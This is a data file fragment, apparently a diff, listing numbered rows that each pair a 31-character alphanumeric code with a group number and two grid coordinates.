+5132,5D6HGC0YHKKS443LMAHO0VQDOIP5JLG=,81,1,3 +5133,BJX2Z0W1MJ4XX9CYWFW8XUS0R2BML1J=,81,1,4 +5136,EZMGAUVZW4DU43AXQW4L683VN600KY6=,81,1,7 +5137,YM5O409RNQIMKVRQ35GAI1BR7Y9TTTN=,81,2,0 +5138,MZPTTRXKTUGQX3YRJUE844A3FGUE2RY=,81,2,1 +5139,LU5RPDFLE6XATBDRKHCL9DJ1FFLO3O0=,81,2,2 +5140,5VN51A8FEODTHBXHXTEAPSV2JDEXC5H=,81,2,3 +5141,V4H2Z89A3U68TOYK4X8DPYNDJXJDT7S=,81,2,4 +5142,VPZ347DH15Q2FUJ7RNJ4ZREEUSBW1IV=,81,2,5 +5143,WFUBV0G4AOOLN821J86C344J7WD9BLS=,81,2,6 +5144,DJYI5C5UEAE503C461Y5G5R8OXBD5XR=,81,2,7 +5145,ZWFK2SHN9R16ZFCC3FG3EHR89MB00TU=,81,3,0 +5146,3DLX9OKYY0JDUJK1K4777PGFEOSNYXY=,81,3,1 +5147,ZYCPTH3EJMH0GZ01SNITO81G6OSFUDB=,81,3,2 +5148,8F841JBY1TAPUZ39H00P2MNIAXFDXIA=,81,3,3 +5149,BOXHPBFSB5NKIXA3OJ13SSAMBVW72D7=,81,3,4 +5150,MTH7MCTBMCCOW80WKDEV7NDA5855G1F=,81,3,5 +5151,7000CRM2K8MI3VNH0YD3X5IULUXXBAG=,81,3,6 +5152,EN6ZYQD5KMMZE61Y3415ATLOBXRXAN4=,81,3,7 +5153,6HEA5A3N0D3V2IJJBQZUO5H3WK3PBPB=,81,4,0 +5154,IHH5SVCTXKF09A7UMJKEFJFH2ADS0VN=,81,4,1 +5155,ELBWRXD651HO91HJNNCQN4HHG7PAYY5=,81,4,2 +5156,VAT9A54LHPLSLCEIDQNL4LISQ2704XJ=,81,4,3 +5157,DB1K8ADIKMG6HFD9MCDOJ9Z9OO0WR02=,81,4,4 +5158,CPGVUL29R2YDWDJKEQJ4JFPABCYLIBF=,81,4,5 +5159,6SC36A5MAOUQWMCKBV990DL834L49Q4=,81,4,6 +5160,COI3X8ZM3T4CP5JTJ0VC8P7Q5PB2DKT=,81,4,7 +5161,7ZU99LHWK4X5XNUG4B4QF6MTPLP0CRW=,81,5,0 +5162,GMCOV7YLFAJETEPAMVTZ76XHJ4GWXJI=,81,5,1 +5163,PQ9021T3Q83426T9HLYZDM59H694EGC=,81,5,2 +5164,Q3H78UCIPO988132MGC3MVE2C1XCO0N=,81,5,3 +5165,IDSZEIRSH9YMUN8MRKVEZN3380U71OX=,81,5,4 +5168,W8CEJJY7N34KQ4GX3D40DB8OCW9OE5L=,81,5,7 +5171,J8Q42LUM1TBNSX8EPP0KI166Q2SJR81=,81,6,2 +5172,UP1SCU5MOKU6TMNBBGRONVC7DFHFE7P=,81,6,3 +5177,WCHDTU2O285N7MUV184B2061VKFN8S7=,81,7,0 +5178,MWXD3Q3PPGGQ3JIVB27Q6NAZ7NIAUI7=,81,7,1 +5179,PCI0UDNHCACZ6H29PPNI6LYVOB2CAWP=,81,7,2 +5180,MTV97O2WER6RSD4Z1G8C4LU7QDXDAKO=,81,7,3 +5181,W7YN4HES1BUXCX5IHVY4TRUTAV17WFN=,81,7,4 +5182,06XHU7D6QTF8BTU0FPWY1HIL8CGRT91=,81,7,5 +5183,82LPHBVY3UQD29BJAQI60P4RBHWK0Y4=,81,7,6 +5184,30S6I53FRUQDVCHOLZY1WHULX3Y8G5Y=,81,7,7 +5185,2ESB07DMU7CRERR20FENZBC5RO0NLJM=,82,0,0 +5186,HZTO0XDM7A9BBUN22X0Y823MY8AUS91=,82,0,1 +5187,PY3Y2NHQG5JT1XZI5KEGFSIYCBB6EPD=,82,0,2 +5188,SXDWM8UUIIB0IFW543UNEA3X8BJAZ2F=,82,0,3 +5189,ILIS9H4HY4323G8MYDVFGHWC6X045MQ=,82,0,4 +5190,M5MBBEZI6BBETJBLLOSVTL9PYCRRNJ0=,82,0,5 +5191,1LCUSCLKEJIHR3FO19YADOIY9RYEGGR=,82,0,6 +5192,EHLJKJBAFEXV4LDGA7VOKXVCNT5420K=,82,0,7 +5193,YTA4W2185R02PUOE9NHAL73KEOQCMEB=,82,1,0 +5194,UI5WV8OP00I0H3CL12GLZL1P1SMAAF2=,82,1,1 +5195,UYZ94RJPFWXHOVXSMJNQJBMOO5SM00G=,82,1,2 +5196,M429T1HEHA4RRSI0DMUK7JY72ZIORYD=,82,1,3 +5197,2Y9NGWLIU3ZD4VWMI8DBAX27E8JZ7GW=,82,1,4 +5200,T95E9C90Q1RG0GH3P195PIKL5X7DYLA=,82,1,7 +5201,T4MF51FAFIU0QQAB9Q1OAGAEPPVEVUP=,82,2,0 +5202,C626KAY5QOR1WETK74AWWE35SKMSC9N=,82,2,1 +5203,AOSWKX19CNOM252NGF3AGYZ75LLD7QY=,82,2,2 +5204,36YTJAQGHBBUTMSKXO0SMTLPL9L33YY=,82,2,3 +5205,SQLSDDF19YA777CAVXSXSDFH0GZ4L06=,82,2,4 +5206,X61FRVRJPD5LUJO6L09O3TEUO73K1SD=,82,2,5 +5207,D1H43X4FOS1IKKSK522KX3NVIXPEYK3=,82,2,6 +5208,QXN81AYX9XQ5IM3FPDFEFT5I72V4ZX9=,82,2,7 +5209,KBSU08MO8S9PDGH262J7E9FOBULMFX0=,82,3,0 +5210,8UDHGEPJNMQ55SVXH9O9RFT8TKO70SS=,82,3,1 +5211,D9RW1GCT1EJS2TU12JDI4R3FR25WF3I=,82,3,2 +5212,AVTMBLRU6WBJLJF2VWEEXM3ITRYWSV1=,82,3,3 +5213,6E0OZ5M09CAJ1UI4UANZSF4OTIN1ZFA=,82,3,4 +5214,6GTYLMNW70TQL7A5F0RLZK9QKWISADH=,82,3,5 +5215,7QDZM7JB7R9VRPQHK06WTTA888W6UNW=,82,3,6 +5216,3DCFRVXEDXES4A95KW4WHTVMRC8GAXE=,82,3,7 +5217,CLNNHJYUA81WA2J28F8APUR70FTW42F=,82,4,0 +5218,LMBB3CRSRWA7GR889NW0V9Y00G69M1S=,82,4,1 +5219,6QUVNMMCK2J9AWZZV2PIZ27MIZ4W7SE=,82,4,2 +5220,7T5QN3SWA20DOW766IU146PVDH8KQT8=,82,4,3 +5221,R6HICXXHROBPVIGHOZODJ9W02AILTGK=,82,4,4 +5222,IZ4DHFV37HU9RYJP0O1GHLH8VOA96Q9=,82,4,5 +5223,PXXGR28W91WJQ8LUCM2D0UQCK8TUVEY=,82,4,6 +5224,R438KC8L13SS11PXU59L81RDI4U0Q3O=,82,4,7 +5225,4NWK90BS14ZSPGP5SGK9SU5J36JZY4J=,82,5,0 +5226,44T7HRPI2N4VHADVWHTK35CYBFC0UV2=,82,5,1 +5227,98CQ3OHM1CFUZGOW475UEVXJBNW6BMD=,82,5,2 +5228,U5J6RSGUDNMX17CCUMZMSL7TOUCXK22=,82,5,3 +5229,JG0ZQWBOZHGOON110YHMNETP9PD0UY1=,82,5,4 +5232,TM45AV8F59Q8GBYVJWAQR6WMT50IWSB=,82,5,7 +5241,SA8C9L6B6JVB206TK4OB6WGUPXY0BQD=,82,7,0 +5242,NQJ109GD56WQMQRIO994ZIEZV4DFR2F=,82,7,1 +5243,AQV1QIKYWPLREAXJWCYCH48V21TVK8Y=,82,7,2 +5244,D2A1787XRS64ATNSURUOJNVAUC2KIBP=,82,7,3 +5245,H57DOQT74N23F6S7QP2K59YQ516KSCS=,82,7,4 +5248,SJWST3AX9CYCIGS9O42YDJDEMYQV1AT=,82,7,7 +5249,7IR5AN0QRELXYZJ5KMMGDFHU3KZGHIC=,83,0,0 +5250,3JBYM9QHIGS16Q5UJQ3PSS8L5QHJ02L=,83,0,1 +5251,NUFGKCS08TWRFOVT53ABYKDIZ58TKRQ=,83,0,2 +5252,HRBZC6YXXD54WJBAKFA7IMUPO474N48=,83,0,3 +5253,3V3BWEXOU9VEH8704CPST5HUZ94A9K1=,83,0,4 +5254,O4KESQZMNC2A3HBYIIYA7TCSVXYZUG2=,83,0,5 +5255,6IFPATEU0F9ZUFRC500HYV52YJFNLGB=,83,0,6 +5256,51GJANWQQ02284SEZST2N7L2ZP8XV77=,83,0,7 +5257,XX3S5OCV3Q9NC39U026NF5MCZNTS77J=,83,1,0 +5258,5Y8OM0ZOITQSSU2UXO76HE0SJB6YXYH=,83,1,1 +5259,HT8MQTOMXS7UJRVERKUTPD7LZ7QW25S=,83,1,2 +5260,XDYVJPDA4MSAN3R8UTOIJPWG94KOFWP=,83,1,3 +5261,OXYHTEPF1VZ5NM1R5UFIQH5QO9N0SEH=,83,1,4 +5262,V9QKE83L9YVLK0MW3ZWMHKRSM7D1DJF=,83,1,5 +5263,9CUJCPZPKBDA08N2524QVBJ2C59EKA0=,83,1,6 +5264,JY0JYC79KQNE7U6WTXXL9J4KCI5O3RX=,83,1,7 +5265,WD1P5CBQHCW4VN94SW3TJIOYXIPOYT5=,83,2,0 +5266,43U93RHMKWJFWN1BFIUHKGWUDGYQWGD=,83,2,1 +5267,FM4L2QY3236EK2537EU0YD4EVF974SA=,83,2,2 +5268,VKW7YHAX5PPV4YC0QLS26Q3P5AKHHMX=,83,2,3 +5269,X8ZITW98C7E5WCW2C28TN5N4EHZPKGP=,83,2,4 +5270,XM29HKC0VDWRI5NXOEZIIB6TNLI1931=,83,2,5 +5271,PY5LBQB34SRAG7Q1B029AUE0TW1PV0B=,83,2,6 +5272,9YX89U3AEWILWZCCRTH5TAQMDRZGRPY=,83,2,7 +5273,B89OJSZR1PQJ3ZL146XPFOH93F120AB=,83,3,0 +5274,QQFXRXLUVF7VFGS37TMX6SDKA0CDTR1=,83,3,1 +5275,5JYMXHCBTOQP13QPJE5B1GMG8UA841O=,83,3,2 +5276,X6434SCTR41AROC5253B6IWYJPJQRYV=,83,3,3 +5277,Y1AUAA4MKONVM6KQMHT510G7OHSKDBD=,83,3,4 +5278,IJBW20QAD7CJBRZA7O7CZ68HQ638YAS=,83,3,5 +5279,PXBA4OBM0VD55RVO51R045K9XHGMUFF=,83,3,6 +5280,E5PTKHZVCRNZPD8PDHP2SZ5KF95ZIX2=,83,3,7 +5281,1YI4JOLZKDDFXQ89TKLMV1C1VI02ITI=,83,4,0 +5282,BFO6F0B9DW2ES6HHAETGP4NAZ9LBHTJ=,83,4,1 +5283,6NYRR0WTLBH2BYFURNYA3EMX9CON7FQ=,83,4,2 +5284,4QPGCQ8JMEHO9EN3D3T1U8SOHIQMR25=,83,4,3 +5285,ZHQZG8I33YGCIXMRIEAX676EU4OESR3=,83,4,4 +5286,MP33H71N5DXGX3SGQXYEOXCHVOPJNDI=,83,4,5 +5287,XHZA5WN3XUAZLDR39WI35XMVVJ0ULB7=,83,4,6 +5288,EY333C49VE1A56E8J4KE2REYR7179E6=,83,4,7 +5289,T3AL8P5ZSU931TWY8AJG6GB04ZD0VNK=,83,5,0 +5290,V6H92HVVZQ3VFGDPHAL87EJW9QVDO2S=,83,5,1 +5291,2490RC1VWQK4JL31OLY4SD5B0NHKNDG=,83,5,2 +5292,QG4H77RNHOJ9VBKL90MCWZF1KUWEHM9=,83,5,3 +5293,JU6VPSEO8C1ZF26HVP3PLRFWH1S18SN=,83,5,4 +5294,XCZXAQBL0YN0P4SEDLR1C9IVRDKPE74=,83,5,5 +5296,86NRGPPIJ4ZIOK1L92POQFONS44WW43=,83,5,7 +5305,DMCIWV2Y28CTXXPXC75O17KVJETI57M=,83,7,0 +5306,WGKILRD5CSKKHL4RSATOALOARYMOKEF=,83,7,1 +5307,K3JL8QAH8C7UO3IGMP75HNRIHV4IWQC=,83,7,2 +5308,6K3NC3RN9OTIVPNI3FVIYUC3QY883FB=,83,7,3 +5309,OHASLW51YRGGD6DNOLXTKDZN067XCIF=,83,7,4 +5311,896L9WTAFY53ZSXAK172XD55SNRSP1S=,83,7,6 +5312,2BPW1ZMRHLE4WHZBYI4OUCV15534V6I=,83,7,7 +5313,QAVI0U3BR4MM6X3KZ90KLFDJNUHKPT8=,84,0,0 +5314,NHPE0NJBZMPE2KEM4UQJ0760WCW5FO0=,84,0,1 +5315,OE6L25UZKVVDGO9078I4A2OTERSGEB7=,84,0,2 +5316,7ZU5DP8M6ZN0VOB5TQKDLY5XL50242F=,84,0,3 +5317,C0OWKP6QYJYX7E3UVNXXD3PJF71N2TR=,84,0,4 +5318,DN30YLSI84YFHQQ6GT7MO9ED1CG5HM6=,84,0,5 +5319,QJKPP5Y75WL3TD6HMR4I0U06I5OS6Y0=,84,0,6 +5320,VDBLA79QNMT81Y3E8D3P0V0UZTEH8HS=,84,0,7 +5321,UOULYDAXUS95KWFH12VOJ6A8XC4XW6B=,84,1,0 +5322,1JVNAIDYDKP87WEI183E4W3AS42LG67=,84,1,1 +5323,J3D5Y3W5SMGEQGOTNQ1DF6N6O8G4CXS=,84,1,2 +5324,KKB7WVEG0WLLBQBYXC55VGPQ4VK699V=,84,1,3 +5325,Z5BKVBS1ZIIHPSP50R8SSH5Q7L2CI0V=,84,1,4 +5326,GRIHLHEGXBOPBXZ7H3TF2XE20E57VY3=,84,1,5 +5327,N55IR14V2MW0U1CWRKXTCK3J5T1OTB6=,84,1,6 +5328,HOT1DDPM8JASBN417C4MMLAXYEM1E0X=,84,1,7 +5329,5T4HACF367HN42RDK6HSA824FZJ1QJ8=,84,2,0 +5330,41KSTVMMDMI9AI5HP9QYEWLWQRKYRR3=,84,2,1 +5331,STTB3NVWUQ3JQG44RGQKJ3LFPHYFTJR=,84,2,2 +5332,UI2XDJ03Q29COU216O4UOH17LNF2ABY=,84,2,3 +5333,K27RYVL055NDN9CYM9FLJN5XLVH586B=,84,2,4 +5334,6REPY2UNJIPO1DAVPLQ5FIEN5AG8U7W=,84,2,5 +5335,E96WL8E68FJXQB6YX7H52JH0NKWMOT7=,84,2,6 +5336,ZVFPD3G3AOLD855Q4DM85BIZDI2TR6V=,84,2,7 +5337,0ARLVGVTPVOG3JI2HK3LX0RG013YR0S=,84,3,0 +5338,86QK1B4LB1OG96620XOHSYUZOP7BW2K=,84,3,1 +5339,W3CKCH2EG31FJOJ17WZ6X2UPQD2CVJH=,84,3,2 +5340,L41JB6CZVIUU2A57EAYTQNVQ9DF1BMI=,84,3,3 +5341,V3VPSX35R79KY2MHECTARG92CKLME6Y=,84,3,4 +5342,HXGPWK5KFZSJP6WKRJJDA6DKWKIE7YG=,84,3,5 +5343,P49L1GKSK30T4Y8WX3W13RN3UFA1ENQ=,84,3,6 +5344,0OC673N5USITPIL909S41Z6SDR1XV1F=,84,3,7 +5345,EZ8U6MW21CTRN6GM257ZVAVQFJJIP10=,84,4,0 +5346,5IM49KOXSETM98TEP9CFT0MRASLUTE4=,84,4,1 +5347,V9HOK7KDKPY9SYYXU0DPZ510YA8RQ0T=,84,4,2 +5348,CVMJNHOLRB40CWF2B7CP3BMW0RFB6UR=,84,4,3 +5349,SYK7263L6KDPF6I1F03X9RJYKXKX333=,84,4,4 +5350,UNDEVCH0TOH4N3LXJCLPP8CCK2AXCSA=,84,4,5 +5351,38NQTSB4P35DMGVPXZP0E98IQXVBRLI=,84,4,6 +5352,TEXUE5YMSOX3QLMF8WIWBD1P2O0DYOB=,84,4,7 +5353,1TYWBCTDX6NDRPAHPI1OVI7LKU6QMGG=,84,5,0 +5354,UQP2K0VBUCRAY69436IH8BYIUJP3PBA=,84,5,1 +5355,E3PO9K8PY3MRQOAPBC02A8JN3EI5OW6=,84,5,2 +5356,DHH9SHBUBK0VQU4BL6DXNX7ZW29363Q=,84,5,3 +5357,FM16Z4FCY4QC4W47AVBEFH4DBXQCL7M=,84,5,4 +6601,6XEBDQBZPE3LSNUR3GI3QW6S3A1R1S3=,104,1,0 +6602,4TN15KSHP8MSTRIT44RQUA5YWKXFXX8=,104,1,1 +5360,KWWQP54DFMTI48GR2YJR57XX0PMFD3W=,84,5,7 +5361,HHWP2E1H80H3408QBEPLRRMKX0SNPSH=,84,6,0 +5362,3ZUAQPJTWEFGS30NMWU4UBQ0FI3Q9W5=,84,6,1 +5363,QW4J1Z9A72L2VK7R7E8G5T214KEHXSU=,84,6,2 +5364,Y9YLG2VXUM8B1GBVJ2ILETRVCAVOYXD=,84,6,3 +5365,54DB0RKGIYWM4FWXVAC80N4N14CYK70=,84,6,4 +5368,K55X7VDUEMIZV9IYK65BJGXCXBA8R8J=,84,6,7 +5369,5VHGT0J5MXX0NW0C54RPOWXR4ZSM5C5=,84,7,0 +5370,G97ZVAV9JAX2BEWPCAM0X2O4LQQ6SXU=,84,7,1 +5371,FFAPMT03BEEL2FWW9UUN9WBNQJ3N0VH=,84,7,2 +5372,TB0C0C5FDWPWAF9KNKQD8MAUW2T4QY9=,84,7,3 +5373,7OPJKLQG4CCO51A2V7RI55ASRBS77U3=,84,7,4 +5374,0V44AIMQYEQ0RFBFICA1SYV7A1R9UYJ=,84,7,5 +5375,6WPF3FSVO1NGXG1VLS4TCHGLH9TS120=,84,7,6 +5376,G6DUIOEHN4JBIZCATS3ZR5VSNFTD4A4=,84,7,7 +5377,802JCOO43CKMH2YT79XNLVPFV6VPS6O=,85,0,0 +5378,HCKL3MQOULD9XNZDHCRFMOLXBRXXMJU=,85,0,1 +5379,2IJKXKDZ1VW6DHRCLEJ51JC1JZ8U7TZ=,85,0,2 +5380,MP4CV1AR88HQDLFPOQWQOFCYUZU2RJW=,85,0,3 +5381,XMFMQJUL9PXVRSBR6LR1XANLS9217FH=,85,0,4 +5382,L8YYXPZIE7RI8WM6G7T1ZKIED4W0YOI=,85,0,5 +5383,YVCNQ1SBHDGI4Y3WQRE10NCVF3MXSKQ=,85,0,6 +5384,DE15K6T1VR6GHETLHL3ICRAV3EH6GDA=,85,0,7 +5385,2KO4VDDL0X7V51NEVCT2YRD4MMYX5AB=,85,1,0 +5386,4N8DAELALGA8ISEL8X61E7280LAZLSI=,85,1,1 +5387,ZM8P8MBRT3CKXG7CO79S167BJ50I8K2=,85,1,2 +5388,RTF1I92DZ8NFHBS0O6FDF8SQ992430W=,85,1,3 +5389,XJLZUIWVUMU2WVYV0Q15KK0FUD08NB2=,85,1,4 +5390,WB193PNNES2841RC6CEVTHBFJP1FC43=,85,1,5 +5391,DRIQ4OHAETURE2FXMCX0EU76ULTUFUC=,85,1,6 +5392,6DCHMK9EY3FYR2WJJB5BGUSZTUGDX9M=,85,1,7 +5393,JXEJ25VCSFIRC9BMCE6BYLXX0X3KVVX=,85,2,0 +5394,ZRKS6QT979R8L6PKBVHMWKU0FIWQLWK=,85,2,1 +5395,IN2HGEKZ1II41WTQTH0IY1C17BWEJZL=,85,2,2 +5396,ZNABSJTBR0F8T4JXIARUI2K57IFMJUH=,85,2,3 +5397,IY5MJ0OTGOTYZUA5ZF7DTK5IBANMU8D=,85,2,4 +5398,J1G55Y2363DPBJO6M93KDKB6T19MU92=,85,2,5 +5399,6HOF258F76GUMOOBFE2TU0X5ZU2WDTE=,85,2,6 +5400,GAIYD6GUTQBZB1J6OTR4U1354E8KFJI=,85,2,7 +5401,NLZPDIEGDSJEZLULEZTXKEUHJ6C0MVC=,85,3,0 +5402,B1EGY9EKV5A2XIMU0ZDMPMGF2VKNBMB=,85,3,1 +5403,N1608EN2VJC505KL9HJY6W0ZSVV746B=,85,3,2 +5404,1LHBW001VSUU2Y95F3E3HCH06M2PPDY=,85,3,3 +5405,V10BV0ZVQD8URDV1HKS4IDXMN399F0T=,85,3,4 +5406,FY0N5VJ0GB4P66S2K6RSE17NLYUHJ66=,85,3,5 +5407,7FF4RBUOK6SICZ2VKR6QHCGYPOA4E9V=,85,3,6 +5408,HWF1JHKIXYMEVAE8XRR2CST5U4WBV4F=,85,3,7 +5409,KPTQX7TU8N5J4SZAL8DGIX9VNYEHROY=,85,4,0 +5410,N4X9F6HBPG44B5NFWXEXGOE5WYKSBZB=,85,4,1 +5411,7875J201QWHIA3DC1BFTLKV0A5MF19L=,85,4,2 +5412,1NEXZOIOCY59WFJRO8AOC5N6VR6EP9Y=,85,4,3 +5413,V65LQ9VKEVS9FGG8QYD72YMNJN6QC2D=,85,4,4 +5414,7MFUBYA1JSAH2Z2SY9UKQOMUUPECNU9=,85,4,5 +5415,30MDY8I92P0KW84GKGBE0EP0YL6B751=,85,4,6 +5416,RPRZBXI8KM6TUYZC6LTG5V5N701FY36=,85,4,7 +5417,FVREUWMQICIOJG664GY91IJQI23VVAT=,85,5,0 +5418,6L73LQ5QZGKZRO368HACOJL4NMPSOR6=,85,5,1 +5419,3U3GSG2YLWEKKS21Q8Q3C1J5A9BF4YS=,85,5,2 +5420,RK23PTYU66M8GLTX50B14YLOSSJBN0K=,85,5,3 +5421,SC0B62ALOLZPNVCLPBG7TVQFWHR5PRN=,85,5,4 +5424,14F16V3DPAEOMI61M1T04X0O38GT067=,85,5,7 +5425,A5QPESAKDEE4DJQB2KQWZTTNRLHGBVQ=,85,6,0 +5426,01PAK4KQ6XF5P61DFV7HX7EOLEZUHVG=,85,6,1 +5427,6MNCLZBS0C6I9LQPAS8T2RP09AMMW5R=,85,6,2 +5428,JG77M96PUGOGVD2GAHD66DHQZWX9BSA=,85,6,3 +5429,X37S9KM0HFAJIUT25RZHG6TFUOO4SJD=,85,6,4 +6603,YP7BV5L0AJMY0Y4Y931I60YVVMIT19B=,104,1,2 +6604,KB52HL84J3C4A8JKMSPI9YNEHVZT05L=,104,1,3 +5432,82EBXBZYCSN6CN9R5GZE16AI1F6FQRS=,85,6,7 +5433,11B7NCN3LOWU6XT1RZ994H46OQH6OKN=,85,7,0 +5434,K56DG4BY7KP665W5LN08M54565D5TI9=,85,7,1 +5435,03O0K6D2DOOGL93OZ4O9S45OZ33XBDR=,85,7,2 +5436,EEMX42KE16XO3N49ME3YG73LTRP6S5I=,85,7,3 +5437,P72DY0LI91Q4UM5HYS4A73UX39PKHWD=,85,7,4 +5438,0H8ARFCALCX9HMHESWFBD7EMEFZYWU1=,85,7,5 +5439,5ORUYC6168CMBL1K42IZRKJZDSHPTA1=,85,7,6 +5440,S0DDQCFYC43BCUT1OQEFF8V2PA6EU79=,85,7,7 +5441,W7CPZBMURD62MX6SI9UHRMDFKYS2K06=,86,0,0 +5442,3TH0RP9DW3LJHCSNK1N7OV6R3J7L4SV=,86,0,1 +5443,415OWN3PAFYRFYG0Y9YCIK0G1IYNF52=,86,0,2 +5444,10SFP51HAGOFVNL3B2WR2JUSIL070EJ=,86,0,3 +5445,1IFH0BVTCHQGT17HI1AP590A88LP3S8=,86,0,4 +5446,NMYFTM95MTGW1O3664H15X2ZKJ68751=,86,0,5 +5447,W7PGI0G2SZTWYX97LFIVI2KZ9Y7GAV7=,86,0,6 +5448,HG6R159V0WXSTI6SXNAQCU84EUA3TIS=,86,0,7 +5449,UFVP3ST8V5NGJA39YMDAUVBMS6E19J6=,86,1,0 +5450,DJABE28FSB5MLMLGMUZLMRQ47WE6GOT=,86,1,1 +5451,5LLY46Z2IX0A11WSPU0VWW3NJ7ZPR61=,86,1,2 +5452,FKCNB3OAL5FC0F1WMP4GB1X7MGSUHTB=,86,1,3 +5453,W1KD83YHV24WAZ8MGQANRCEM8DBYU3R=,86,1,4 +5454,SWOB1V6JETOKQF9M1QA62HD30FRSYI4=,86,1,5 +5455,JIKYOKOJ8FZ3TXVU382MJ5QYBLE5UN2=,86,1,6 +5456,WTCUU3DTOPJTDRENEYS7W2R3TTRN2QF=,86,1,7 +5457,86CJYT76VMEDP5KHNFDNEQ1UWUDLB18=,86,2,0 +5458,M74RYDRJMD9G6N14Z5YVL85AWVZ61YA=,86,2,1 +5459,1DEXDZX534RJFSDVDBORJCQSFBX0TQX=,86,2,2 +5460,BIQAAXOZNXMRCDMGU6UQGLPHRZOVG7Q=,86,2,3 +5461,56N6EZN5HFIBYO730AWLPK4OX3IH2YS=,86,2,4 +5462,SI8HU2EHNOFF0R6T1OZ1TR2SG5IDG6K=,86,2,5 +5463,K125QOX3H3AAO1KK0GLVKGMW5MY35NK=,86,2,6 +5464,365XFTXWWP3DJS5K26LW4FHBHZGWLVD=,86,2,7 +5465,XE030GS44XNA69FP95DYDV9XKJ2WTAH=,86,3,0 +5466,IPWG1RN49A50IHWL5V7B8M6YDSHL7IO=,86,3,1 +5467,AYPNXKPP5YPGU5FAU38WBQFXGWNYXSL=,86,3,2 +5468,BK2TNOKOH01H8FKQN6K9M753DFX4B5R=,86,3,3 +5469,SKRRT0WQIM7A0EB66C1DTWE2EXSM77H=,86,3,4 +5470,LNWAMXJ2DD91HYAXWVXS78FD32QI6ZD=,86,3,5 +5471,GLQ4UPR1TUUIY8D9ZT9ZEOT6ZYH2LR4=,86,3,6 +5472,ETIOY96RF0RHY12SSAG3QM0IH98A581=,86,3,7 +5473,T29M6DXJ4HSXFV2R31D486AM1JXEUQQ=,86,4,0 +5474,5M012DEAZBURMMM3YZY5ATF758HODCQ=,86,4,1 +5475,OS1O38XRDHCIDZUEPS328GBD932P6GC=,86,4,2 +5476,R1PG0RR5MBS7URBZVN1U0PH31QFE6F4=,86,4,3 +5477,T9P3KVL0FIBY4O53H700JCORKKZV71C=,86,4,4 +5478,DFEGNX49VP433I2VH4XV52E76W1W63T=,86,4,5 +5479,LMOEY3VEQWCEYRJNLVQQE7YDB1OWZUT=,86,4,6 +5480,PG9WIT5SMTLG8ML5FRWR7Y2SIO4U4DF=,86,4,7 +5481,SABIR6WHOKMCZFJD5EQ15HGMZGF9W1N=,86,5,0 +5482,8P592WZDK47DU1W6UA9EJTTPNQQUOL8=,86,5,1 +5483,UAT3Y59XPAHVTMQC6YSRBUWY9LBZANY=,86,5,2 +5484,LZ48UZBUZXBE35G3MBLDL88175C769J=,86,5,3 +5485,UQ3BA3MBOGL7V6E45PYQ2C08ZIGB6VT=,86,5,4 +6605,DTBJS3GWQKN5IIW35C8Y2UNCM5K5868=,104,1,4 +6606,L51QZSYOV0TL4PP83H342GPH61YW8EN=,104,1,5 +5488,2A5K1IPTQ4AZN9DWCYXN7GOE6B5089W=,86,5,7 +6607,WCVTN0NU166LE358YMT3LK7DN32QBG9=,104,1,6 +6608,1PSEGXSSJ3PA0AEK5J4QWOZ60107RWR=,104,1,7 +6609,9P04WO1BK14LJ4M6UC7C8L99SJB9BIX=,104,2,0 +5493,7MDDCGPRZI2NR4A7JN761PVBFER06NV=,86,6,4 +5494,B7F6G1NJN1G6ISGJ4APT3GB23BUB7X7=,86,6,5 +5495,CO88K0SVORRRP3Z69UGWRV3B81NFEK5=,86,6,6 +5497,MCLS2VYHI2J99KOMZPROL8O96OXQ7WM=,86,7,0 +5498,GEJVX83AFY6PZL8S2NHHLK2DXXNJW1E=,86,7,1 +5499,G7IK19CFKKEGXXFTMC6Q6OJAJJ1NCZ9=,86,7,2 +5500,YI21FLQ03GWWQKOUEGXDATJ17OF048V=,86,7,3 +5501,2HFZP341PGX7E9IOKN20V8NTQIUD6OF=,86,7,4 +5502,D0QWZ11ZKJADVNLTQCX6AUFJZ9XUQ0W=,86,7,5 +5503,4ED8OO827VJ2PILT5J4T3Y397H89L7I=,86,7,6 +5504,0DMBNA79026E4D3HFHKD5EVFBX9GAKN=,86,7,7 +5505,2XD6P3QCEAQFUYWRPRMFSLIWX38I9TI=,87,0,0 +5506,P0KHZMR1M5HGISAID3YUW5DFOV9DJF4=,87,0,1 +5507,92P276GNG2PQC6RY8Z1L463TJFV33IJ=,87,0,2 +5508,48JSS39R9VVGOV8N5Z2IW4DWQ11SSNW=,87,0,3 +5509,6ENZKJQH23Q7RY7DFI4THLP89U6GPJE=,87,0,4 +5510,MDWSJY4B0CVQ7GRV7ZKUO3OAOIEX2OC=,87,0,5 +5511,4VUXDNSXL9FZAWWQPNVN6WOW1DO0ACK=,87,0,6 +5512,ZAHOCUXGGXFGQ2KLJU50BYK0FU6KSGQ=,87,0,7 +5513,HMHGXV5JO7NV9VQPOGIUA2RXZHV4ZK5=,87,1,0 +5514,NYFOMTXVOMWC34OO0XR9IUY57ZMRYB2=,87,1,1 +5515,IDTQ35DZTQCRGHWPQTL00LWVHMVMEYM=,87,1,2 +5516,BDS50JU51R0T38SC8KG4M55UG828HSO=,87,1,3 +5517,MVN4EFWGCXXYOSEG8JXCQBH67Q6F9GX=,87,1,4 +5518,Q27I6YNOCZ7PUOPX8Q6BTH8KX4P29GJ=,87,1,5 +5519,BPXHNUWS4VK1FODDHBMC0HCR48GXVGV=,87,1,6 +5520,5R15NZYJL6VACI3REB0OEF7C2UYWEZ5=,87,1,7 +5528,8GC1VO1WOZV3W8WD8SEXDSTFAR9S5HC=,87,2,7 +5529,EFYI4UZ6YE6EML76YYJWSJD88QPNZ08=,87,3,0 +5530,M97S3NMB6AKTO0O9KF51H2LX6N5X9OL=,87,3,1 +5531,GY0S5C6BW620O3BXZ89WTI7XT1RTTAK=,87,3,2 +5532,180NY7CGKQNB50WR5V7PB6T42UBU5I1=,87,3,3 +5533,5331FC7VISZE1RY9MGSD7QMF4Z5HU1O=,87,3,4 +5534,O4C3KB8OE2ZD4E73KIBO9W0BW13XZQ2=,87,3,5 +5535,T2Z5NS7Y574JY3MEA9ZMOUFJS73UN3E=,87,3,6 +5536,0LFF0TZHG6POXWHT3FNTPDATKZANA8K=,87,3,7 +6610,MA75HCW682RAPMI6IGPGNGA1I9MSRV0=,104,2,1 +6611,NJOLWILOIMWRXM4IFMCDS77D3CAB1QI=,104,2,2 +6612,OKAI83877YCCC9YVYM8YZ0EUO879BG7=,104,2,3 +5545,NKHA7755K4USG0Y4X0C4KBBNP3BTRM8=,87,5,0 +5546,M486R4N0FCQHVV5LY6ZQ9WWM5MA7XPP=,87,5,1 +5547,20R6CL6YE0DOXN6DCPK1V7ZA4M883WP=,87,5,2 